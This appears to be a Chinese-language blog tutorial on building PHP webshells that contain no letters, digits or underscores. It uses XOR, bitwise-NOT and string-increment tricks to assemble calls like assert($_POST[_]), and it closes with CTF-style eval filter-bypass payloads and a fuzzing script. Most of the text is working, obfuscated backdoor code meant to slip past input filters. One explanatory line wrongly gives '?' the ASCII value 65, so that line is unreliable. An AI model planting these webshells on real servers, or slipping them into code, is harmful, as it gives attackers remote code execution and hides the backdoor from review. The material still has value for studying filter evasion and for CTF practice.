PHP不包括字母,数字和下划线的webshell

前言

膜拜下phithon师傅
一些不包含数字和字母的webshell

另一位师傅
《记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)》

信安之路的微笑
php 不用字母,数字和下划线写 shell

知识铺垫

PHP中异或(^)概念

先上测试代码

<?php
    echo "A"^"?";
?>


代码对字符A?进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符

  • A的ASCII值为65,二进制则是01000001
  • ?的ASCII转值为65,二进制是00111111

异或二进制结果结果为10000000,对应的字符就是~.
非数字字母的PHP后门:

<?php
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P 
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
//.=是字符的连接
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面代码为一句
?>

PHP取反(~)概念

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:的utf-8编码为\xe5\x92\x8c,第三个字节和{2}的值为\x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115115 就是 s 的 ASCII 值。因此

<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"\x8c"); //等同与上一句

?>

不用数字构造数字

  1. 利用PHP弱类型特效,true的值为1,则true+true=2
$_=('>'>'<')+('>'>'<')
print($_)

  1. 利用PHP未定义变量默认值为null,null=false=0,所以利用自增操作得到数字
<?php
$_++;
print($_);
?>

用字符串自增,获取字符

php文档
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要拿到一个变量值为a,通过自增操作即可获得a-z中所有字符。

在PHP中如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得A了。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A

webshell

php5和7的差异。

  • php5中assert是一个函数,我们可以通过 f = a s s e r t ; f=&#x27;assert&#x27;; f(…);这样的方法来动态执行任意代码。
  • php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

不用数字和字母的 shell

**核心思路:**将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如assert,然后动态执行之即可。

非字母、数字的字符异或出字母

不可打印字符,用 url 编码表示

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

可用更短的字符

"`{{{"^"?<>/"//_GET

非字母、数字的字符取反出字母

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

简短写法,相当于直接把 utf8 编码的某个字节提取出来统一进行取反。

${~"\xa0\xb8\xba\xab"} //$_GET

php 递增/递减运算符

因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

实例

<?php

include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

payload

来自红日安全

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

分解:
$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另fuzz 出了长度为 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();


fuzz脚本

<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
    $ch = '{'^ chr($i);
    if (in_array($ch, $a , true)) {
        echo "{ ^ chr(".$i.") = $ch<br>";
    }
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>

不包括数字,字母和下划线的shell

实例

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>

payload

只是多过滤了个下划线_
中文做变量名

$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();

+做变量名

${"`{{{"^"?<>/"}['+']();&+=getFlag